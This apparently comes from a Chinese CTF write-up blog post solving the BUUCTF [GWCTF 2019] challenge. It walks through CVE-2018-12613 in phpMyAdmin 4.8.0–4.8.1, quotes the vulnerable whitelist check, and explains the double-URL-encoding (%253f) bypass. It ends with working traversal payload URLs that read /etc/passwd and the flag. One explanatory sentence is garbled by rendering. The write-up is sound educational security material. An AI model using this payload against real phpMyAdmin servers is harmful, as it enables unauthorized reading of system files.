BUUCTF_Web_[GWCTF 2019]我有一个数据库

4 篇文章 0 订阅

BUUCTF_Web_[GWCTF 2019]我有一个数据库

该题考查cve-2018-12613-PhpMyadmin后台文件包含漏洞*

漏洞分析

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

影响版本

phpMyAdmin 4.8.0和4.8.1

漏洞原理

首先在index.php 50-63行代码

$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

满足5个条件后就会include$_REQUEST['target']的内容

  • $_REQUEST['target']不为空
  • $_REQUEST['target']是字符串
  • $_REQUEST['target']不以index开头
  • $_REQUEST['target']不在$target_blacklist中
    ‘import.php’, ‘export.php’
  • Core::checkPageValidity($_REQUEST['target'])为真
    代码在libraries\classes\Core.php 443-476行
public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

$whitelist一开始未传参过来,所以会被赋值为self::$goto_whitelist

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
);

如果$page在白名单中就会直接return true,但这里考虑到了可能带参数的情况,所以有了下面的判断

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int

查找string在一个tring中首次出现的位置。基于字符数执行一个多字节安全的strpos()操作。第一个字符的位置是0,第二个字符的位置是1,以此类推。

$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true
但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码

        $_page = urldecode($page);

        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件
例如传入?target=db_datadict.php%253f
由于服务器会自动解码一次,所以在checkPageValidity()中, p a g e 的 值 一 开 始 会 是 ‘ d b d a t a d i c t . p h p 但 在 i n d e x . p h p 中 ‘ page的值一开始会是`db_datadict.php%3f`,又一次url解码后变成了`db_datadict.php?`,这次便符合了`?`前内容在白名单的要求,函数返回true 但在index.php中` pagedbdatadict.phpindex.php_REQUEST[‘target’]仍然是db_datadict.php%3f`,而且会被include,通过目录穿越,就可造成任意文件包含。

本题的问题在于urldecode($page)方法,存在二次编码绕过

$_page = urldecode($page);
%25的url编码为%
%3f的url编码为?
%253f-->?

payLoad:
这里target参数只要不是黑名单中php文件就可以

http://8621f981-8a23-4c89-b709-9391463bac26.node4.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../etc/passwd

flag应该位于系统的根目录

http://8621f981-8a23-4c89-b709-9391463bac26.node4.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../flag
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿刁〇하

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值